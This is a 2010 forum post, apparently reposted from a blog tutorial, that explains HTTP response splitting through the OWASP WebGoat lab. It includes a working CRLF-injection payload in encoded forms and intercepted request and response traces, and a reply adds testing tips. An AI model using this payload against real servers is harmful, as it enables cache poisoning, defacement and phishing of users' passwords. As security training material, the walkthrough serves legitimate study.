begood Posted May 25, 2010 Report Posted May 25, 2010 Http splitting is a website attack. It involves an injection of a Http request into a form to force the target server to return two answers instead of one. It is possible due to the redirection of a request (code 3xx, "set-cookie" or "Location") without checking illegal characters. This article describes this attack and the Owasp WebGoat training platform.A french version of this article is also available.descriptionIn a normal operation, each client sends an Http request, and the server responds.With an http splitting attack, an attacker fills the form with malformed datas (textField). The server then sends back two responses, one of which was created by the attacker. exploitationthis technique allows:cache poisoning the attacker sends two requests, a first malformed one and a second valid one. The server sends back two responses from the first request, and a third one from the second request. The server cache makes an association between the second request (created by the attacker) and the second request (valid). The attacker can obtain a defacement of the website.next generation phishingThis is a special case of the previous cache poisoning technique. The attacker choses, in his second request, a password form webpage. He puts a copy of this page in his first request . This page redirects the request to a server controled by the attacker. The vulnerable server caches this page for further requests.As a result, when a victim asks later for the server password webpage, she is instead redirected to the attacker webpage (phishing). The attacker can store the victim pasword.webpage hijackingThe next step of attacks is the hijacking of webpages containing user datas, when a (not vulnerable) proxy is placed between the vulnerable server and the client.The attacker sends a malformed request (1) to the proxy.The proxy redirects the malformed request (1) to the server. The server sends back the two splitted responses (1) and (2) to the proxy.A victim sends a regular request (3) to the server through the proxy. The proxy sends immediatly the response (2) as the response to this request. The server sends the response to the request (3) to the proxy. This response holds user's personal data.The attacker sends another request (4) to the proxy. The proxy immediatly sends to the attacker the response (3).methodFor an illustration of the method, please see Yehg video([9]) and Ajax blog ([6]).In this example we conduct a cache poisoning attack. Here is the injected text:"Content-Length: 0HTTP/1.1 200 OKLast-Modified: Fri, 31 Dec 2099 23:59:59 GMTcoucou"When this text is encoded in http, replace:- ":" by %3A- "space" by %20- "carriage return" by %0A- "," by %2c- "/" by %2F- "<" by %3C- ">" by %3Eresult in http:"Content-Length%3A%200%0A%0AHTTP%2F1.1%20200%20OK%0ALast-Modified%3A%20Fri%2C%2031%20Dec%202099%2023%3A59%3A59%20GMT%0A%3Chtml%3E%0Acoucou%3C%2Fhtml%3E"replace every %0A by %0A%0D:"Content-Length%3A%200%0D%0A%0D%0AHTTP%2F1.1%20200%20OK%0D%0ALast-Modified%3A%20Fri%2C%2031%20Dec%202099%2023%3A59%3A59%20GMT%0D%0A%3Chtml%3E%0D%0Acoucou%3C%2Fhtml%3E"To encode en replace %0A, let's use PHP charset encoder http://h4k.in/encoding/ (cf Yegh video [9]).explanationsThis technique needs a redirection of pages:Remember: with this method, the server must put data entered by the attacker in the header of a redirected request ( code 3xx, "Set-Cookie" or "Location" fields):In the http protocol, with a redirection, data are put in the header of the new redirected request [3].usually, they are in header's fields "Set-Cookie" or "Location".Why %0d%0a?CR = Carriage return ( %0d or \r or ASCII 13)LF = Line Feed (%0a or \n or ASCII 10)http is built as follow:- initial line, ends with CRLF- header lines, ends with CRLF- blank line (= CRLF)- body.As our string must be interpreted as an http request we replace LF by CRLF.Why a cache poisoning?Response from server contains line Last-Modified, with date defined as 2099.HTTP/1.1 200 OKLast-Modified: Fri, 31 Dec 2099 23:59:59 GMTcoucouthis page is associated with any further request to the server: As its date is bigger than the current date, it is never replaced by a newer one.What happen on server side?Let's use the example given with WebGoat. Let's intercept http requests with WebScarab:Write "essai" in textfieldThe request sent to Server (A) is:POST HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip,deflateAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7Keep-Alive: 300Proxy-Connection: keep-aliveReferer: Cookie: JSESSIONID=93E6CFEC40001E4F08A62D2B3467ECCEContent-Type: application/x-www-form-urlencodedContent-length: 31Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=language=essai&SUBMIT=Search%21redirection response (302) received from server (A) is:HTTP/1.1 302 Déplacé TemporairementServer: Apache-Coyote/1.1Location: &fromRedirect=yes&language=essaiContent-Type: text/html;charset=ISO-8859-1Content-length: 0Date: Sat, 19 Dec 2009 17:12:27 GMTresult:- this response is a redirection (status code 302),- our string is put in field "Location" of the headerServer (A) redirects the request to server (:GET HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip,deflateAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7Keep-Alive: 300Proxy-Connection: keep-aliveReferer: &Restart=3Cookie: JSESSIONID=93E6CFEC40001E4F08A62D2B3467ECCEAuthorization: Basic Z3Vlc3Q6Z3Vlc3Q=Response from server ( shows the resulting page. Here it is (trunkated):HTTP/1.1 200 OKServer: Apache-Coyote/1.1Pragma: No-cacheCache-Control: no-cacheExpires: Thu, 01 Jan 1970 01:00:00 CETContent-Type: text/html;charset=ISO-8859-1X-Transfer-Encoding: chunkedDate: Sat, 19 Dec 2009 17:37:46 GMTContent-length: 33406<.!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><.html xmlns="http://www.w3.org/1999/xhtml"><.head><.meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" /><.title>HTTP Splitting<.link rel= (...) /><.script language= (...) <.body class="page" (...)Now inject malformed request:Request from client to server (A) is:POST HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip,deflateAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7Keep-Alive: 300Proxy-Connection: keep-aliveReferer: Cookie: JSESSIONID=93E6CFEC40001E4F08A62D2B3467ECCEContent-Type: application/x-www-form-urlencodedContent-length: 251Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=language=Content-Length%253A%25200%250D%250A%250D%250AHTTP%252F1.1%2520200%2520OK%250D%250ALast-Modified%253A%2520Fri%252C%252031%2520Dec%25202099%252023%253A59%253A59%2520GMT%250D%250A%253Chtml%253E%250D%250Acoucou%253C%252Fhtml%253E&SUBMIT=Search%21Redirection response (302) receivd from server (A) is:HTTP/1.1 302 Déplacé TemporairementServer: Apache-Coyote/1.1Location: &fromRedirect=yes&language=Content-Length%3A%200%0D%0A%0D%0AHTTP%2F1.1%20200%20OK%0D%0ALast-Modified%3A%20Fri%2C%2031%20Dec%202099%2023%3A59%3A59%20GMT%0D%0A%3Chtml%3E%0D%0Acoucou%3C%2Fhtml%3EContent-Type: text/html;charset=ISO-8859-1Content-length: 0Date: Sat, 19 Dec 2009 17:26:09 GMTServer (A) "believes" it redirects request to server (:GET %0D%0A%0D%0AHTTP%2F1.1%20200%20OK%0D%0ALast-Modified%3A%20Fri%2C%2031%20Dec%202099%2023%3A59%3A59%20GMT%0D%0A%3Chtml%3E%0D%0Acoucou%3C%2Fhtml%3E HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip,deflateAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7Keep-Alive: 300Proxy-Connection: keep-aliveReferer: &Restart=3Cookie: JSESSIONID=93E6CFEC40001E4F08A62D2B3467ECCEAuthorization: Basic Z3Vlc3Q6Z3Vlc3Q=This response is encapsulated by http protocol in TCP datagrams as follow:* empty redirection request sent to server (GET * end of the request%0D%0A%0D%0A* response sent in current TCP session (to attacker)HTTP%2F1.1%20200%20OK%0D%0ALast-Modified%3A%20Fri%2C%2031%20Dec%202099%2023%3A59%3A59%20GMT%0D%0A%3Chtml%3E%0D%0Acoucou%3C%2Fhtml%3E* data rejected (not compatible with http protocol): HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip,deflateAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7Keep-Alive: 300Proxy-Connection: keep-aliveReferer: &Restart=3Cookie: JSESSIONID=93E6CFEC40001E4F08A62D2B3467ECCEAuthorization: Basic Z3Vlc3Q6Z3Vlc3Q=- and here is the second message sent by server (A) to attacker:HTTP/1.1 200 OKServer: Apache-Coyote/1.1Pragma: No-cacheCache-Control: no-cacheExpires: Thu, 01 Jan 1970 01:00:00 CETContent-Type: text/htmlX-Transfer-Encoding: chunkedDate: Sat, 19 Dec 2009 17:28:10 GMTContent-length: 21coucouremarks- Splitting attacks can be logged by target site if they are sent with GET method. Usually, it is not the case as attackers should prefer using POST requests ([2], page 24).- splitting attack defacement is not detected by anti-defacement IDS. Indeed, these IDS alayse usually static pages, and not the cache.- This attack is possible because of 1.1 http version. Http 1.1 allows client and server to exchange multiple requests in a same TCP session. Before, Http 1.0 needed a TCP connexion for each http exchange.Toolsjava-JRE http://www.java.com/fr/download/OWasp WebGoat http://www.owasp.org/index.php/Category:OWASP_WebGoat_ProjectPHP charset encoder http://h4k.in/encoding/references1) Wikipedia - Http response splitting - http://en.wikipedia.org/wiki/HTTP_response_splitting2) Sanctum Inc, Http response Splitting whitepaper - http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf3) James Marshall - Http made really easy - http://www.jmarshall.com/easy/http/#structure4) Web application security consorsium - Http response splitting - http://www.webappsec.org/projects/threat/classes/http_response_splitting.shtml5) Securiteam - http response splitting - http://www.securiteam.com/securityreviews/5WP0E2KFGK.html6) Ajax - Séparation de réponse http - http://blog.4j4x.net/?p=157) publication du CERT-IST - les attaques de type "http response splitting" http://www.cert-ist.com/fra/ressources/Publications_ArticlesBulletins/Veilletechnologique/HTTP_spliting/8) OWasp - Http response splitting - http://www.owasp.org/index.php/HTTP_Response_Splitting9) yehg - vidéo décrivant une exploitation de http splitting attack - http://yehg.net/lab/pr0js/training/webgoat.php9) MISC n°24 - http://www.unixgarden.com/index.php/administration-reseau/smuggling-et-splitting-du-htmlsource : http://infond.blogspot.com/2010/04/tutorial-http-splitting-attack-with.html Quote
pyth0n3 Posted May 25, 2010 Report Posted May 25, 2010 (edited) OK tested , if you use Unix or Linux must replace any %0d with %aWindows uses a CR and LF for new Line, Linux uses only LFUse also burpsuite or webscarab to intercept the session , you will see what really happen behind all this Edited May 25, 2010 by pyth0n3 Quote